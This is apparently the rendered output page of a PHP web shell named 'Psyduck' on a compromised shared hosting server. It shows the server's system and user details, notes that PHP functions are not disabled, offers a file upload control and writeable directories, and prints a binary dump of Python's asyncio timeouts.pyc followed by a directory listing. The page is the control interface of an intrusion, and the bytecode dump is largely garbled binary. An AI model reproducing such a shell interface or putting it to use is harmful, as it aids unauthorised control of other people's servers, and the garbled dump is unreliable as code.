Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python313/lib64/python3.13/asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python313/lib64/python3.13/asyncio/__pycache__/timeouts.cpython-313.pyc
�

�dYh�����SSKrSSKJr SSKJrJrJr SSKJr SSKJ	r	 SSKJ
r
 Sr"S	S
\R5r
\"SS55rS
\\S\4SjrS\\S\4Sjrg)�N)�
TracebackType)�final�Optional�Type�)�events)�
exceptions)�tasks)�Timeout�timeout�
timeout_atc�(�\rSrSrSrSrSrSrSrSr	g)	�_State��created�active�expiring�expired�finished�N)
�__name__�
__module__�__qualname__�__firstlineno__�CREATED�ENTERED�EXPIRING�EXPIRED�EXITED�__static_attributes__r��7/opt/alt/python313/lib64/python3.13/asyncio/timeouts.pyrrs���G��G��H��G�
�Fr!rc	���\rSrSrSrS\\SS4SjrS\\4SjrS\\SS4Sjr	S\
4S	jrS\4S
jr
SSjrS\\\S
\\S\\S\\
4SjrSSjr\S
\SS4Sj5rSrg)r�z�Asynchronous context manager for cancelling overdue coroutines.

Use `timeout()` or `timeout_at()` rather than instantiating this class directly.
�when�returnNc�V�[RUlSUlSUlXlg)z�Schedule a timeout that will trigger at a given loop time.

- If `when` is `None`, the timeout will never trigger.
- If `when < loop.time()`, the timeout will trigger on the next
  iteration of the event loop.
N)rr�_state�_timeout_handler�_task�_when)�selfr%s  r"�__init__�Timeout.__init__!s#���n�n���>B���+/��
��
r!c��UR$)zReturn the current deadline.)r+�r,s r"r%�Timeout.when.s���z�z�r!c��UR[RLaKUR[RLa[	S5e[	SURR
S35eXlURbURR5 UcSUlg[R"5nXR5::a!URUR5UlgURXR5Ulg)zReschedule the timeout.zTimeout has not been enteredzCannot change state of z TimeoutN)r(rrr�RuntimeError�valuer+r)�cancelr�get_running_loop�time�	call_soon�_on_timeout�call_at)r,r%�loops   r"�
reschedule�Timeout.reschedule2s����;�;�f�n�n�,��{�{�f�n�n�,�"�#A�B�B��)�$�+�+�*;�*;�)<�H�E��
��
�� � �,��!�!�(�(�*��<�$(�D�!��*�*�,�D��y�y�{�"�(,���t�7G�7G�(H��%�(,���T�;K�;K�(L��%r!c�\�UR[R[R4;$)z$Is timeout expired during execution?)r(rrrr0s r"r�Timeout.expiredIs���{�{�v������?�?�?r!c��S/nUR[RLa9URb[	URS5OSnURSU35 SR
U5nSURRSUS3$)N��zwhen=� z
<Timeout [�]�>)r(rrr+�round�append�joinr4)r,�infor%�info_strs    r"�__repr__�Timeout.__repr__Mss���t���;�;�&�.�.�(�+/�:�:�+A�5����Q�'�t�D��K�K�%��v��'��8�8�D�>���D�K�K�-�-�.�a��z��;�;r!c��N# �UR[RLa[S5e[R
"5nUc[S5e[RUlXlURR5Ul	URUR5 U$7f)Nz Timeout has already been enteredz$Timeout should be used inside a task)r(rrr3r
�current_taskrr*�
cancelling�_cancellingr<r+)r,�tasks  r"�
__aenter__�Timeout.__aenter__Usz����;�;�f�n�n�,��A�B�B��!�!�#���<��E�F�F��n�n����
��:�:�0�0�2�������
�
�#���s�B#B%�exc_type�exc_val�exc_tbc���# �UR[R[R4;deURb!URR5 SUlUR[RLa�[RUlURR5UR::avUbs[U[R5(a[UeUbJURU5 [U[ 5(a$URHnURU5 M gUR[RLa[R"Ulg7f�N)r(rrrr)r5rr*�uncancelrP�
issubclassr	�CancelledError�TimeoutError�_insert_timeout_error�
isinstance�ExceptionGroupr)r,rTrUrV�excs     r"�	__aexit__�Timeout.__aexit__as����{�{�v�~�~�v���?�?�?�?�� � �,��!�!�(�(�*�$(�D�!��;�;�&�/�/�)� �.�.�D�K��z�z�"�"�$��(8�(8�8�X�=Q��h�
�(A�(A�B�B�&�G�3��(��.�.�w�7�!�'�>�:�:�#*�#5�#5�C� �6�6�s�;�$6�
��[�[�F�N�N�
*� �-�-�D�K��s�E#E%c��UR[RLdeURR	5 [R
UlSUlgrX)r(rrr*r5rr)r0s r"r9�Timeout._on_timeouts;���{�{�f�n�n�,�,�,��
�
�����o�o��� $��r!c��URbn[UR[R5(a)[	5nUR=UlUlXlgURnURbMmggrX)�__context__r^r	r[r\�	__cause__)rU�tes  r"r]�Timeout._insert_timeout_error�sd���!�!�-��'�-�-�z�/H�/H�I�I�!�^��07�0C�0C�C�����&(�#���)�)�G�
�!�!�-r!)rPr(r*r)r+)r&r)r&N)rrrr�__doc__r�floatr-r%r<�boolr�strrKrRr�
BaseExceptionrrar9�staticmethodr]r rr!r"rrs����
�X�e�_�����h�u�o��M�x���M�4�M�.@��@�<�#�<�
���4�
�.�/���-�(����'�	�

�$���<%��*�}�*��*��*r!r�delayr&c�v�[R"5n[UbUR5U-5$S5$)a�Timeout async context manager.

Useful in cases when you want to apply timeout logic around block
of code or in cases when asyncio.wait_for is not suitable. For example:

>>> async with asyncio.timeout(10):  # 10 seconds timeout
...     await long_running_task()


delay - value in seconds or None to disable timeout logic

long_running_task() is interrupted by raising asyncio.CancelledError,
the top-most affected timeout() context manager converts CancelledError
into TimeoutError.
N)rr6rr7)rpr;s  r"rr�s5�� �"�"�$�D��%�*;�4�9�9�;��&�F�F��F�Fr!r%c��[U5$)a6Schedule the timeout at absolute time.

Like timeout() but argument gives absolute time in the same clock system
as loop.time().

Please note: it is not POSIX time but a time with
undefined starting base, e.g. the time of the system power on.

>>> async with asyncio.timeout_at(loop.time() + 10):
...     await long_running_task()


when - a deadline when timeout occurs or None to disable timeout logic

long_running_task() is interrupted by raising asyncio.CancelledError,
the top-most affected timeout() context manager converts CancelledError
into TimeoutError.
)r)r%s r"r
r
�s��&�4�=�r!)�enum�typesr�typingrrrrArr	r
�__all__�Enumrrrkrr
rr!r"�<module>rxs����(�(�������T�Y�Y���s*�s*��s*�lG�8�E�?�G�w�G�(�X�e�_���r!
Name
Size
Permissions
Options
__init__.cpython-313.opt-1.pyc
1.44 KB
-rw-r--r--
__init__.cpython-313.opt-2.pyc
1.385 KB
-rw-r--r--
__init__.cpython-313.pyc
1.44 KB
-rw-r--r--
__main__.cpython-313.opt-1.pyc
8.537 KB
-rw-r--r--
__main__.cpython-313.opt-2.pyc
8.537 KB
-rw-r--r--
__main__.cpython-313.pyc
8.537 KB
-rw-r--r--
base_events.cpython-313.opt-1.pyc
87.48 KB
-rw-r--r--
base_events.cpython-313.opt-2.pyc
78.463 KB
-rw-r--r--
base_events.cpython-313.pyc
87.53 KB
-rw-r--r--
base_futures.cpython-313.opt-1.pyc
3.066 KB
-rw-r--r--
base_futures.cpython-313.opt-2.pyc
2.835 KB
-rw-r--r--
base_futures.cpython-313.pyc
3.066 KB
-rw-r--r--
base_subprocess.cpython-313.opt-1.pyc
16.722 KB
-rw-r--r--
base_subprocess.cpython-313.opt-2.pyc
16.632 KB
-rw-r--r--
base_subprocess.cpython-313.pyc
16.938 KB
-rw-r--r--
base_tasks.cpython-313.opt-1.pyc
4.08 KB
-rw-r--r--
base_tasks.cpython-313.opt-2.pyc
4.08 KB
-rw-r--r--
base_tasks.cpython-313.pyc
4.08 KB
-rw-r--r--
constants.cpython-313.opt-1.pyc
0.999 KB
-rw-r--r--
constants.cpython-313.opt-2.pyc
0.999 KB
-rw-r--r--
constants.cpython-313.pyc
0.999 KB
-rw-r--r--
coroutines.cpython-313.opt-1.pyc
3.883 KB
-rw-r--r--
coroutines.cpython-313.opt-2.pyc
3.787 KB
-rw-r--r--
coroutines.cpython-313.pyc
3.939 KB
-rw-r--r--
events.cpython-313.opt-1.pyc
36.082 KB
-rw-r--r--
events.cpython-313.opt-2.pyc
27.49 KB
-rw-r--r--
events.cpython-313.pyc
36.082 KB
-rw-r--r--
exceptions.cpython-313.opt-1.pyc
3.152 KB
-rw-r--r--
exceptions.cpython-313.opt-2.pyc
2.538 KB
-rw-r--r--
exceptions.cpython-313.pyc
3.152 KB
-rw-r--r--
format_helpers.cpython-313.opt-1.pyc
4.133 KB
-rw-r--r--
format_helpers.cpython-313.opt-2.pyc
3.778 KB
-rw-r--r--
format_helpers.cpython-313.pyc
4.133 KB
-rw-r--r--
futures.cpython-313.opt-1.pyc
16.583 KB
-rw-r--r--
futures.cpython-313.opt-2.pyc
13.525 KB
-rw-r--r--
futures.cpython-313.pyc
16.984 KB
-rw-r--r--
locks.cpython-313.opt-1.pyc
27.482 KB
-rw-r--r--
locks.cpython-313.opt-2.pyc
21.014 KB
-rw-r--r--
locks.cpython-313.pyc
27.482 KB
-rw-r--r--
log.cpython-313.opt-1.pyc
0.288 KB
-rw-r--r--
log.cpython-313.opt-2.pyc
0.251 KB
-rw-r--r--
log.cpython-313.pyc
0.288 KB
-rw-r--r--
mixins.cpython-313.opt-1.pyc
1.088 KB
-rw-r--r--
mixins.cpython-313.opt-2.pyc
1.055 KB
-rw-r--r--
mixins.cpython-313.pyc
1.088 KB
-rw-r--r--
proactor_events.cpython-313.opt-1.pyc
44.28 KB
-rw-r--r--
proactor_events.cpython-313.opt-2.pyc
43.886 KB
-rw-r--r--
proactor_events.cpython-313.pyc
44.997 KB
-rw-r--r--
protocols.cpython-313.opt-1.pyc
8.223 KB
-rw-r--r--
protocols.cpython-313.opt-2.pyc
3.788 KB
-rw-r--r--
protocols.cpython-313.pyc
8.223 KB
-rw-r--r--
queues.cpython-313.opt-1.pyc
14.438 KB
-rw-r--r--
queues.cpython-313.opt-2.pyc
11.194 KB
-rw-r--r--
queues.cpython-313.pyc
14.438 KB
-rw-r--r--
runners.cpython-313.opt-1.pyc
9.904 KB
-rw-r--r--
runners.cpython-313.opt-2.pyc
8.167 KB
-rw-r--r--
runners.cpython-313.pyc
9.904 KB
-rw-r--r--
selector_events.cpython-313.opt-1.pyc
62.729 KB
-rw-r--r--
selector_events.cpython-313.opt-2.pyc
60.853 KB
-rw-r--r--
selector_events.cpython-313.pyc
62.884 KB
-rw-r--r--
sslproto.cpython-313.opt-1.pyc
40.744 KB
-rw-r--r--
sslproto.cpython-313.opt-2.pyc
37.317 KB
-rw-r--r--
sslproto.cpython-313.pyc
40.848 KB
-rw-r--r--
staggered.cpython-313.opt-1.pyc
6.23 KB
-rw-r--r--
staggered.cpython-313.opt-2.pyc
4.289 KB
-rw-r--r--
staggered.cpython-313.pyc
6.396 KB
-rw-r--r--
streams.cpython-313.opt-1.pyc
33.016 KB
-rw-r--r--
streams.cpython-313.opt-2.pyc
27.511 KB
-rw-r--r--
streams.cpython-313.pyc
33.466 KB
-rw-r--r--
subprocess.cpython-313.opt-1.pyc
11.997 KB
-rw-r--r--
subprocess.cpython-313.opt-2.pyc
11.871 KB
-rw-r--r--
subprocess.cpython-313.pyc
12.021 KB
-rw-r--r--
taskgroups.cpython-313.opt-1.pyc
8.894 KB
-rw-r--r--
taskgroups.cpython-313.opt-2.pyc
8.273 KB
-rw-r--r--
taskgroups.cpython-313.pyc
9.011 KB
-rw-r--r--
tasks.cpython-313.opt-1.pyc
42.219 KB
-rw-r--r--
tasks.cpython-313.opt-2.pyc
32.586 KB
-rw-r--r--
tasks.cpython-313.pyc
42.465 KB
-rw-r--r--
threads.cpython-313.opt-1.pyc
1.226 KB
-rw-r--r--
threads.cpython-313.opt-2.pyc
0.795 KB
-rw-r--r--
threads.cpython-313.pyc
1.226 KB
-rw-r--r--
timeouts.cpython-313.opt-1.pyc
8.335 KB
-rw-r--r--
timeouts.cpython-313.opt-2.pyc
6.852 KB
-rw-r--r--
timeouts.cpython-313.pyc
8.546 KB
-rw-r--r--
transports.cpython-313.opt-1.pyc
13.388 KB
-rw-r--r--
transports.cpython-313.opt-2.pyc
8.52 KB
-rw-r--r--
transports.cpython-313.pyc
13.409 KB
-rw-r--r--
trsock.cpython-313.opt-1.pyc
5.047 KB
-rw-r--r--
trsock.cpython-313.opt-2.pyc
4.81 KB
-rw-r--r--
trsock.cpython-313.pyc
5.047 KB
-rw-r--r--
unix_events.cpython-313.opt-1.pyc
67.951 KB
-rw-r--r--
unix_events.cpython-313.opt-2.pyc
63.316 KB
-rw-r--r--
unix_events.cpython-313.pyc
68.714 KB
-rw-r--r--
windows_events.cpython-313.opt-1.pyc
41.172 KB
-rw-r--r--
windows_events.cpython-313.opt-2.pyc
40.164 KB
-rw-r--r--
windows_events.cpython-313.pyc
41.224 KB
-rw-r--r--
windows_utils.cpython-313.opt-1.pyc
7.128 KB
-rw-r--r--
windows_utils.cpython-313.opt-2.pyc
6.715 KB
-rw-r--r--
windows_utils.cpython-313.pyc
7.295 KB
-rw-r--r--